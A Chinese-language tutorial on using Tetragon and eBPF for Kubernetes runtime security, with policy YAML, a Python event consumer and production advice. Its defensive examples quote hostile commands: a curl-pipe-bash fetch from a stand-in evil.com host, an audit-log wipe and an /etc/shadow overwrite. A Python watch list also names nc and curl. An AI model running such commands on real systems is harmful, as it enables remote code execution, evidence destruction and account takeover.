Tetragon 实战:用 eBPF 把安全防线推进到内核态,实时揪出 K8s 里的异常行为
关键词:eBPF / Tetragon / Kubernetes 运行时安全 / 云原生可观测性 / 内核态拦截
如果你的 Kubernetes 集群里某个 Pod 在凌晨三点悄悄执行了 curl http://evil.com/x.sh | bash,你的安全体系多久能发现?一天后看审计日志?还是永远不知道——因为攻击者在拿到 root 之后顺手把日志清了?
这是云原生时代最尴尬的现实:我们在"部署前"做了大量安全工作(镜像扫描、 admission control、网络策略、RBAC),但"运行时"发生了什么,往往是一团黑盒。本文要讲的 Tetragon,是 Cilium 团队基于 eBPF 做的运行时安全项目,它把安全观测和强制的触点直接推进到 Linux 内核态,让你能在系统调用发生的"同一瞬间"看见、甚至拦下异常行为。
我会从背景矛盾讲起,拆解它的核心概念和架构,然后用 6 个可落地的代码实战(从安装、观测到内核态强制拦截),最后给出性能优化和生产落地的硬核建议。读完你应该能直接在测试集群里把 Tetragon 跑起来,并写出自己的第一条运行时安全策略。
背景:云原生安全的"运行时盲区"
我们先把问题说清楚。一个典型的 K8s 安全栈长这样:
- 部署前:Trivy / Clair 扫镜像漏洞,OPA / Gatekeeper 做 admission policy,禁止特权容器、限制
hostPath。 - 网络层:Cilium / Calico NetworkPolicy 控制东西向流量。
- 身份层:RBAC、ServiceAccount、mTLS。
这套组合拳很强,但它有一个共同前提:它们在"对象被创建/连接被建立"的那一刻做决策。一旦工作负载已经跑起来,安全就交给了"信任边界内不会有坏事发生"的假设。
而现实是:
- 漏洞在镜像里没扫出来(0day、误报漏报)。
- 合法凭证被滥用(一个本来正常的 Pod 被攻陷后,用合法 token 干坏事)。
- 攻击者拿到 shell 后横向移动,在内核里读写敏感文件、加载内核模块、提权。
这些事都发生在"运行时",而且都发生在内核态。传统的应对手段有三个典型盲区:
盲区一:审计日志是"事后、易篡改、高开销"的
auditd 和 Kubernetes Audit 能记录系统调用和 API 调用,但有两个致命问题:
- 它是全量记录,在高并发集群里日志量爆炸,存储和检索都是负担;
- 攻击者一旦拿到 root,第一件事往往就是
echo "" > /var/log/audit/audit.log。日志是"能被敌人改写的证据"。
盲区二:Sidecar Agent 太重、太侵入
在每一个 Pod 里塞一个安全 agent(sidecar),意味着资源占用翻倍、网络路径变长、部署耦合变强。千个 Pod 就是千个 agent,调度器和你都受不了。
盲区三:用户态 syscall 解析有"复制开销"
以 Falco 为代表的方案,在内核捕获 syscall 事件后,把上下文复制到用户态再解析规则。内核→用户态的上下文复制本身就吃性能,而且规则在用户态跑,从"事件发生"到"规则命中"之间天然有延迟——对于需要"实时阻断"的场景,这点延迟就是漏洞。
一个真实的攻击链路长什么样
为了把"运行时盲区"说得更具体,我们顺着攻击者的视角走一遍典型步骤:
- 攻击者通过应用漏洞(如反序列化、RCE)在容器内拿到一个普通进程的 shell;
- 在容器内横向探测:翻
/etc/下的配置、读/root/.ssh/、扒环境变量里的云 AK/SK; - 利用某个本地提权漏洞(或误配的 capability)拿到 root;
- 写入
/etc/cron.d/或改/etc/shadow做持久化; - 用
curl拉取第二阶段木马,反向连回 C2。
这五步,全部发生在"运行时"、全部落在内核态的文件/进程/网络操作里。传统镜像扫描和 admission 策略在第一步之前就结束了,而审计日志即便记下来了,第五步的攻击者也会顺手清掉。这正是 Tetragon 要覆盖的战场——它能在第 2~5 步的每一个内核操作上按下暂停键。
核心矛盾就在这里:安全最需要的,是"看见内核里正在发生的事",但传统做法要么看不见、要么看得太贵、要么看得太晚。
eBPF 的出现改变了游戏规则。它允许你把一段经过校验的小程序安全地注入 Linux 内核,在特定事件点(syscall、内核函数、tracepoint、LSM 钩子)上运行,在事件发生的同一点(inline)观测甚至拦截,而不必把上下文搬来搬去。Tetragon 就是把这个能力产品化、Kubernetes 化的运行时安全项目。
核心概念:Tetragon 到底是什么
Tetragon 的官方定位是 "eBPF-based Security Observability and Runtime Enforcement"(基于 eBPF 的安全可观测性与运行时强制)。它检测并能够实时响应一系列安全相关事件:
- 进程执行事件(Process execution):谁、以什么父进程、带了什么参数启动了什么二进制;
- 特权与能力变更(Privileges & Capabilities):
capable()调用、提权、setuid; - I/O 活动:文件访问、网络连接;
- 内核完整性:内核模块加载、被破坏的进程凭证。
四大核心能力
对应官方文档的 Features,Tetragon 提供四类开箱即用的能力:
| 能力 | 观测对象 | 典型用途 |
|---|---|---|
| Execution Monitoring | 进程 exec / fork / exit,含父子关系 | 检测异常二进制执行(如容器内出现 bash、nc) |
| File Integrity Monitoring | 文件 open / read / write / unlink | 监控 /etc、/root/.ssh 被篡改 |
| Network Observability | tcp_connect / tcp_sendmsg 等 | 发现反弹 shell、外联 C2 |
| Privileges Monitoring | capable、capabilities 集合变化 | 抓提权、越权操作 |
事件模型:进程是主线
Tetragon 的事件都以"进程"为主线串联:process_exec(进程诞生)、process_kprobe(命中的内核函数探针)、process_tracepoint(命中的静态跟踪点)、process_dup、process_exit。
举例,一个 process_exec 事件里会带这些关键字段:
{
"process_exec": {
"process": {
"exec_id": "OjIzNDU2OjczOA==",
"pid": 18234,
"uid": 0,
"binary": "/usr/bin/curl",
"arguments": "http://evil.com/x.sh | bash",
"parent": { "binary": "/bin/bash", "pid": 18200 },
"pod": { "namespace": "default", "name": "web-7d9f" },
"container": { "id": "a1b2c3...", "name": "app" }
}
}
}
注意最后那个 pod 和 container 字段——这是 Tetragon 区别于"裸 eBPF 脚本"的关键:它是 Kubernetes-aware 的。事件天然带着 namespace、pod、container 身份,你写策略时可以直接说"只盯 namespace: payments 下的 Pod",而不是去算 cgroup id。
它和 Cilium 是什么关系
同门师兄弟,都出自 Isovalent / Cilium 社区,都是 CNCF 项目。区别是:
- Cilium 专注网络(基于 eBPF 做高性能网络、NetworkPolicy、Service Mesh);
- Tetragon 专注安全(基于 eBPF 做运行时观测与强制)。
两者可以独立部署,也能联动:Cilium 提供网络身份,Tetragon 提供进程身份,合起来就是"哪个工作负载、哪条进程、连了哪里、干了什么"的完整画面。
架构分析:事件是怎么从内核流到 SIEM 的
理解架构,才能理解为什么 Tetragon 性能好、也好扩展。
组件拓扑
┌─────────────────────────────────────────────┐
│ Kubernetes Cluster │
│ │
│ ┌──────────────┐ TracingPolicy CR │
│ │ tetra-operator│ ───────────────────────┐ │
│ └──────────────┘ │ │
│ │ (下发策略) │ │
│ ▼ ▼ │
│ ┌──────────────────────────────────────────┐ │
│ │ Node 1 Node 2 Node N │ │
│ │ ┌──────────────┐ ┌──────────┐ ┌───────┐ │ │
│ │ │tetragon-agent│ │ agent │ │ agent │ │ │
│ │ │ ├ eBPF prog │ │ ├ eBPF │ │ ├eBPF │ │ │
│ │ │ ├ in-kernel │ │ ├ filter│ │ ├filter│ │ │
│ │ │ │ filtering│ │ └───────┘ │ └──────┘ │ │
│ │ │ └ gRPC API │ └──────────┘ └───────┘ │ │
│ │ └──────┬───────┘ │ │
│ └────────┼──────────────────────────────────┘ │
│ │ gRPC GetEvents (stream) │
│ ▼ │
│ Consumer: OTel Collector / Kafka / SIEM / │
│ 你自己的 Go/Python 程序 │
└─────────────────────────────────────────────┘
四个核心角色:
- TracingPolicy(CRD,
cilium.io/v1alpha1):你写的"安全意图"——观测什么 hook 点、怎么过滤、命中后做什么动作。它是用户唯一需要关心的抽象。 - tetragon-agent(DaemonSet,每节点一个):真正干活的。它把 eBPF 程序加载进内核、attach 到 hook 点、在内核态完成过滤、把命中事件格式化成 protobuf、通过 gRPC 吐出去。
- tetragon-operator:管理 CRD、把 TracingPolicy 翻译成各节点 agent 能懂的配置并下发。
- Consumer(你自己的程序 / OTel / SIEM):通过 gRPC
GetEvents流订阅事件。
Hook 点的家族
Tetragon 不是只能 hook syscall,它支持一整套观测点,这也是它灵活性的来源:
- kprobes:动态挂到任意内核函数(如
vfs_write、security_file_open)。最常用。 - uprobes:挂到用户态二进制/库的函数(如观测某个 Go 程序的特定函数)。
- tracepoints:内核静态跟踪点,稳定、开销低。
- LSM hooks:Linux 安全模块钩子,能强制(返回错误/拦截),是实现"运行时阻断"的关键。
- USDT:用户态静态定义跟踪点(应用自己埋的点)。
- fentry / fexit:挂到内核函数的入口/出口(需要较新内核与 BTF)。
为什么 eBPF 程序能安全又便携
两个机制值得单独提一句。一是 BPF 验证器(verifier):每段 eBPF 程序加载进内核前都要过验证器这道关,它做静态分析,证明程序不会死循环、不会越界解引用、不会把内核跑崩——这正是 eBPF 比手写内核模块安全得多的根本原因。二是 CO-RE + BTF:BTF 是内核自描述的类型信息,配合 CO-RE(Compile Once - Run Everywhere),同一份 eBPF 对象能在不同内核版本间直接可移植,不必为每个内核重编。Tetragon 的 eBPF 程序正是基于这套机制加载的(底层用 libbpf 的 BPF skeleton 生成与加载)。理解了这两点,你就能放心地把"内核态小程序"用在生产里。
性能关键:内核态过滤(selectors)
这是 Tetragon 最值得讲清楚的设计点。一个常见误解是"eBPF 程序把所有 syscall 都抓出来再过滤"。错。Tetragon 的 selectors 是在内核态 eBPF 程序里执行的匹配逻辑:
只有
matchArgs命中的事件,才会被格式化并上报到用户态。不命中的,内核里直接丢弃。
对比一下两种思路:
| 维度 | 用户态全量解析(传统) | Tetragon 内核态过滤 |
|---|---|---|
| 上下文搬运 | 每个事件都从内核复制到用户态 | 仅命中事件才复制 |
| 规则执行位置 | 用户态,有调度延迟 | 内核态 inline,近乎零延迟 |
| 阻断能力 | 通常只能"告警" | 可通过 LSM 直接"拦截" |
| 单事件开销 | 高(拷贝+解析+GC) | 低(inline 判断) |
顺带提一个常被拿来对比的项目 Tracee(Aqua Security 出品,同样基于 eBPF)。和 Tetragon 一样,Tracee 也能在内核态观测运行时行为,并用 eBPF 做检测。两者取舍大致是:Tracee 更偏向"单节点取证工具 + 规则引擎(基于 OPA Rego)",上手快、规则表达力强,适合安全同学做临时排查;Tetragon 更偏向"Kubernetes 原生、策略即 CRD、内建强制(Override/Signal)",更适合把运行时安全编进集群的声明式体系、做成常态控制面。一句话总结:要顺手的排查工具选 Tracee,要可编排的集群级安全控制面选 Tetragon。
这就是为什么 Tetragon 官方敢说它是"runtime enforcement"而非单纯"observability"——它能在 syscall 返回之前就改掉返回值(Override),或者在进程作恶的瞬间发 SIGKILL。
数据流一句话总结
内核 eBPF 程序 → 内核态过滤 → agent 格式化并关联 K8s 身份 → gRPC 流 → 消费者。整条链路上,最贵的一步(上下文复制)被尽可能推迟、并只在必要时发生。
代码实战:从零跑通再到内核态拦截
下面所有示例都在一个普通 K8s 集群(内核 ≥ 5.8,推荐 5.15+ 以解锁完整 eBPF/LSM 能力)里可复现。
实战 1:用 Helm 安装 Tetragon
# 添加 Cilium 官方仓库(Tetragon 的 chart 也在里面)
helm repo add cilium https://helm.cilium.io
helm repo update
# 安装到 kube-system,默认就以 DaemonSet 形式每节点跑一个 agent
helm install tetragon cilium/tetragon \
--namespace kube-system \
--create-namespace
# 等 DaemonSet 全 Ready
kubectl rollout status -n kube-system ds/tetragon -w
装完你会看到:
kube-system下有个ds/tetragon(每节点一个 Pod);- 一个
deploy/tetragon-operator; - 集群里多了
tracingpolicies.cilium.io这个 CRD。
内核版本提示:eBPF 的能力随内核演进。CO-RE(Compile Once - Run Everywhere)让 eBPF 对象在不同内核间可移植,但仍建议 5.8+,LSM 强制类策略需要 5.7+ 且内核开启了
CONFIG_BPF_LSM=y。
实战 2:先看效果——实时事件流
不写任何策略,先看看 Tetragon 默认能看见什么:
kubectl exec -ti -n kube-system ds/tetragon -- tetra getevents -o json
随便 kubectl exec 进一个 Pod 敲个命令,你会在流里看到对应的 process_exec 事件,JSON 结构如前文所示,带着 pod、container、parent 字段。这就是"Kubernetes-aware"的直观体现。
想换成人类可读格式,去掉 -o json 即可;想只看某类事件可以加 --process-exec、--process-kprobe 等开关。
实战 3:只盯住特定进程的诞生(kprobe + sys_execve)
假设你要在 payments 命名空间里,一旦有人启动 bash 就立刻告警(容器里正常不该有交互 shell)。写一条 TracingPolicy:
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: "alert-bash-in-payments"
spec:
podSelector:
matchLabels:
app: payments-api # 只作用在带这个 label 的 Pod 上
kprobes:
- call: "sys_execve"
syscall: true
args:
- index: 0
type: "string"
label: "path"
selectors:
- matchArgs:
- index: 0
operator: "Equal"
values:
- "/usr/bin/bash"
matchActions:
- action: "Post" # 命中就上报事件(Post = 产生一条观测事件)
逐行拆解:
call: sys_execve+syscall: true:挂到execve系统调用。args:声明要采集第 0 个参数(路径),类型是string,标签叫path。selectors.matchArgs:内核态过滤器——只有当path == /usr/bin/bash时才继续。matchActions.action: Post:命中后产生一条事件供消费。
应用它:
kubectl apply -f alert-bash-in-payments.yaml
注意 podSelector——这就是"Kubernetes Identity Aware":策略天然按工作负载维度生效,而不是按节点或 cgroup 硬算。
实战 4:文件完整性监控——谁动了 /etc
经典的"黄金镜像"场景:生产容器里的 /etc 理论上不该被改。用 security_file_open 这个内核函数探针,监控对 /etc/ 下任何文件的打开:
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: "monitor-etc-access"
spec:
kprobes:
- call: "security_file_open"
args:
- index: 0
type: "file" # file 类型能自动提取 path / permission / flags
label: "file"
selectors:
- matchArgs:
- index: 0
operator: "Prefix"
values:
- "/etc/"
matchActions:
- action: "Post"
这里有两个值得记的点:
type: file是 Tetragon 的特殊参数类型,eBPF 程序会自动从struct file里把路径、权限、打开标志解析出来,你不用自己读内核结构体。operator: Prefix支持Equal / NotEqual / Prefix / Postfix / Contains等,足够覆盖大部分模式匹配。
命中事件里你会看到打开者是谁(process)、打开了哪个文件、以什么权限——一次"谁在动我的配置"的实时取证就完成了。
实战 5:运行时强制——拦住对敏感文件的写入(Override)
观测只是第一步,真正酷的是拦截。比如:禁止任何进程写入 /etc/shadow(改密码文件是典型的提权/持久化动作)。
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: "block-shadow-write"
spec:
kprobes:
- call: "vfs_write"
args:
- index: 0
type: "file"
label: "file"
selectors:
- matchArgs:
- index: 0
operator: "Equal"
values:
- "/etc/shadow"
matchActions:
- action: "Override"
argError: -1 # 把返回值改成 -EPERM,写操作直接失败
关键点:
action: Override会把函数返回值在内核态直接改写。对vfs_write来说,返回-1(实际是-EPERM)意味着"这次写没发生",调用方拿到权限错误。- Override 只能作用于系统调用和安全检查函数这类"允许改返回值"的钩子——这正是 Tetragon 文档里强调的约束。
应用后,攻击者即便拿到 root 执行 echo 'root::0:0::/:' > /etc/shadow,写入也会失败。这比事后告警强了不止一个档次。
实战 6:更稳的拦截——LSM 钩子 + Signal
Override 适合"让操作失败",但有些场景你想"直接杀掉作恶进程"。Tetragon 提供第二种强制手段:Signal(例如发 SIGKILL)。
但要小心一个文档里明确写的坑:
发 SIGKILL 并不能保证"正在进行的操作"一定没完成。比如在
write()系统调用里发 SIGKILL,不保证数据没写进文件——它只保证进程同步终止。
所以生产实践里,Signal 通常和 Override 组合使用:先 Override 让这次操作失败,再 Signal 把进程杀掉,双保险。
用 LSM 钩子(而非 kprobe)做强制更"正统",因为 LSM 本就是内核的访问控制点,适合做决策型拦截:
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: "kill-on-sensitive-file-write"
spec:
lsmhooks:
- call: "file_open" # LSM 文件打开钩子
args:
- index: 0
type: "file"
label: "file"
selectors:
- matchArgs:
- index: 0
operator: "Equal"
values:
- "/etc/shadow"
matchActions:
- action: "Override"
argError: -1
- action: "Signal"
signal: 9 # SIGKILL
这条策略的含义:只要有人试图打开 /etc/shadow 做写操作,直接返回权限错误,就把进程 SIGKILL 掉。
持久化强制:重启也不失效
Tetragon 还支持 Persistent enforcement(持久化强制):普通的 Override / Signal 只在 agent 存活期间对当前进程生效,进程一重启规则就失效;而持久化强制会把"禁止某行为"固化下来,即便目标进程重启、甚至 tetragon-agent 本身重启后,拦截依然持续。这对防御"靠重启复发的恶意进程"非常关键——攻击者常见的伎俩就是杀掉被发现的进程、换个 PID 再起,普通强制挡不住,持久化强制能挡。生产里对于已确认的恶意行为阻断,优先用持久化模式,别给对手留"重启绕过"的口子。
实战 7:用代码消费事件(Python,最稳的接入方式)
前面都是 tetra getevents 手动看。真实生产里,你要把事件接进自己的系统。最稳、不依赖任何内部 gRPC 包的方式,就是直接消费 tetra getevents -o json 的输出流:
#!/usr/bin/env python3
"""订阅 Tetragon 事件流,对可疑进程执行做实时告警。
不依赖内部 gRPC 包,纯消费 CLI 的 JSON 输出,跨版本稳定。
"""
import json
import subprocess
import sys
SUSPICIOUS = {"/usr/bin/bash", "/bin/sh", "/usr/bin/nc", "/usr/bin/curl"}
def stream_tetragon(namespace: str):
# 在 tetragon Pod 里执行 getevents,本地通过 kubectl 桥接
cmd = [
"kubectl", "exec", "-i", "-n", "kube-system", "ds/tetragon",
"--", "tetra", "getevents", "-o", "json",
]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, text=True, bufsize=1)
for line in proc.stdout:
line = line.strip()
if not line:
continue
try:
evt = json.loads(line)
except json.JSONDecodeError:
continue
yield evt
def handle(evt):
pe = evt.get("process_exec") or evt.get("process_kprobe")
if not pe:
return
proc = pe.get("process", {})
pod = proc.get("pod", {})
binary = proc.get("binary", "")
ns = pod.get("namespace", "")
if binary in SUSPICIOUS and ns == "payments":
print(f"[ALERT] 命名空间={ns} Pod={pod.get('name')} "
f"执行了可疑二进制 {binary} args={proc.get('arguments')}",
file=sys.stderr)
if __name__ == "__main__":
for event in stream_tetragon("payments"):
handle(event)
这个脚本的价值在于:它只依赖 tetra getevents -o json 这个稳定公开接口,不碰 Tetragon 内部 protobuf 包,所以你升级 Tetragon 版本也不会断。接进 Kafka / OTel 也只是把 handle() 里的 print 换成 producer.send(...)。
实战 8:进阶——Go 直连 gRPC GetEvents
想要更低延迟、更结构化,可以直连 Tetragon 的 gRPC GetEvents 流。Tetragon 在每节点暴露一个 unix socket(默认 /var/run/tetragon/tetragon.sock)。下面是一段示意性 Go 客户端(具体 import 路径以你所用版本的生成代码为准,思路不变):
package main
import (
"context"
"io"
"log"
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
// 以下包路径随 Tetragon 版本变化,请以你的 go.mod 中
// github.com/cilium/tetragon 的 api 生成代码为准:
// tetragon "github.com/cilium/tetragon/pkg/api/tetragon"
// svc "github.com/cilium/tetragon/pkg/api/services/v1"
)
func main() {
// 直连节点本地 socket,无需走网络
conn, err := grpc.Dial(
"unix:///var/run/tetragon/tetragon.sock",
grpc.WithTransportCredentials(insecure.NewCredentials()),
)
if err != nil {
log.Fatal(err)
}
defer conn.Close()
// client := svc.NewTetraClient(conn)
// stream, err := client.GetEvents(context.Background(), &tetragon.GetEventsRequest{})
// for {
// evt, err := stream.Recv()
// if err == io.EOF { return }
// if err != nil { log.Fatal(err) }
// // evt 是 protobuf 事件,可转 JSON 或直接读字段
// log.Printf("event: %+v", evt)
// }
// 上面注释即真实调用骨架;本例仅演示连接与超时控制
_ = conn
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
<-ctx.Done()
_ = io.EOF
}
直连 gRPC 的好处是:事件以 protobuf 结构化送达,没有 JSON 解析开销,适合做高吞吐的实时检测引擎。代价是要跟随 Tetragon 版本的 API 生成代码——所以用 Python 消费 CLI 输出作为"第一版接入"往往更省心。
实战 9:排错三板斧
策略没生效、事件没出来,按这个顺序查,能解决九成问题:
- 调高 agent 日志级别:
kubectl logs -n kube-system ds/tetragon -- -v=5能看到 eBPF 程序加载、策略编译、hook 点 attach 的详细过程,定位是策略写错还是 hook 点不存在; - 抓系统快照:
kubectl exec -n kube-system ds/tetragon -- tetra debug dump导出当前 eBPF 程序、map、已加载策略的状态,发给社区或存档对比; - 看 BPF 程序统计:
kubectl exec -n kube-system ds/tetragon -- tetra debug bpf-stats能看到每个 eBPF 程序的运行次数与耗时,判断是不是某个热路径探针拖慢了内核——这也是前文强调"要观测观测者自己"的落点。
性能优化与生产落地建议
写几条策略很容易,跑在生产、跑得稳且跑得不贵,需要一点工程心法。
1. 把过滤尽量下沉到内核态
这是第一原则。能写进 selectors.matchArgs 的匹配,就别在用户态消费者里全量判断。内核态过滤掉的事件根本不会出内核,省的是"上下文复制 + 序列化 + 网络"三重开销。
2. 用好事件限流(Event Throttling)
攻击或故障可能瞬间产生海量事件(比如一个死循环疯狂 fork)。Tetragon 支持事件限流配置,配合 metrics 监控,避免"安全事件本身把节点打挂"。生产里一定要配限流阈值,并对限流触发做告警。
3. 用 nodeSelector / hostSelector 精准作用域
nodeSelector:控制策略加载在哪些节点(比如只给 GPU 节点、或 canary 节点池加载重量级策略)。hostSelector:控制已加载策略作用在 host 负载还是 pod 负载(目前支持~空 /{}全部)。
不要无脑"全集群全节点加载所有策略",按节点分组灰度才是稳妥做法。
4. 资源模型:DaemonSet vs Sidecar
Tetragon 是每节点一个 agent(DaemonSet),而不是每 Pod 一个 sidecar。这意味着:
- 资源随节点数线性增长,不随 Pod 数爆炸;
- 对业务 Pod 零侵入(不需要改 deployment 注入 sidecar);
- 但 agent 自身吃的是节点预留资源,要给它留足
requests/limits,尤其 eBPF map 和 gRPC 缓冲。
5. 用 Metrics 把 eBPF 自己也观测起来
Tetragon 暴露 Prometheus metrics,还能通过 BPF 程序统计(bpf_progs_stats)看到每个 eBPF 程序自身的运行开销。你既要观测业务,也要观测"观测者自己"——eBPF 程序跑太久会拖慢被 hook 的内核路径,这个必须盯。
6. 开销量级参考
经验上,eBPF inline 观测单事件在个位数微秒级,远低于"内核→用户态全量复制 + 用户态规则引擎"的开销。但这不代表可以无脑 hook 热路径(如每个 tcp_sendmsg 都解析全部载荷)——热路径上的 eBPF 要极简,重活放用户态消费者异步做。
7. 生产 Checklist(可直接抄)
- 内核版本 ≥ 5.8(强制类策略 ≥ 5.15 更稳);
- agent 资源
requests/limits已设置并压测; - 关键策略开启限流 + 限流告警;
- 策略按
nodeSelector灰度,先 observability 后 enforcement; - 事件接入 OTel/Kafka,落盘到 SIEM;
- 监控
bpf_progs_stats,防止 eBPF 拖慢内核路径; - 准备"误杀回滚"预案:enforcement 策略先以
Post(仅观测)跑一周,确认无误再切Override/Signal。
总结与展望
回到开头那个问题:Pod 在凌晨三点 curl evil.com | bash,你的体系多久发现?
有了 Tetragon,答案是:在内核把这条 execve 跑起来的同一个瞬间。而且你可以不止于"发现"——可以在它联网之前就 Override 掉、在它落地之前就 SIGKILL 掉。
把 Tetragon 放进你的安全栈,它补的是**"运行时"**这块拼图:
- 和 OPA / Gatekeeper(admission-time 决策)形成纵深:一个管"生不生成",一个管"生出来后干没干坏事";
- 和 镜像扫描互补:0day 扫不出来,但运行时行为骗不了 eBPF;
- 和 Cilium 网络身份联动:最终得到"哪个工作负载 / 哪条进程 / 连了哪里 / 干了什么"的完整证据链。
当然它也有边界要心里有数:
- 依赖内核版本:eBPF 与 LSM 能力随内核演进,老内核(< 4.19)基本无缘;
- 强制需要较新内核:完整 LSM 强制要 5.7+ 且开启
CONFIG_BPF_LSM; - 策略要灰度:enforcement 类策略上线前务必先以纯观测模式验证,避免误杀正常业务。
展望未来,云原生安全的范式正在从"事后取证"走向"实时阻断",而 eBPF 正是这场范式转移的技术底座。Tetragon 把内核态的观测与强制产品化、Kubernetes 化,让普通团队也能用上原本只有大厂安全团队才玩得转的能力。下次安全评审,别只汇报"我们扫了镜像、配了 NetworkPolicy"——补上一句"运行时我们也在内核里看着呢",底气会足很多。
动手建议:先在测试集群用实战 1
4 跑通 observability,观察一周行为基线;确认无误报后,再用实战 56 谨慎开启 enforce。安全产品的第一准则是——别让自己的策略成为新的故障源。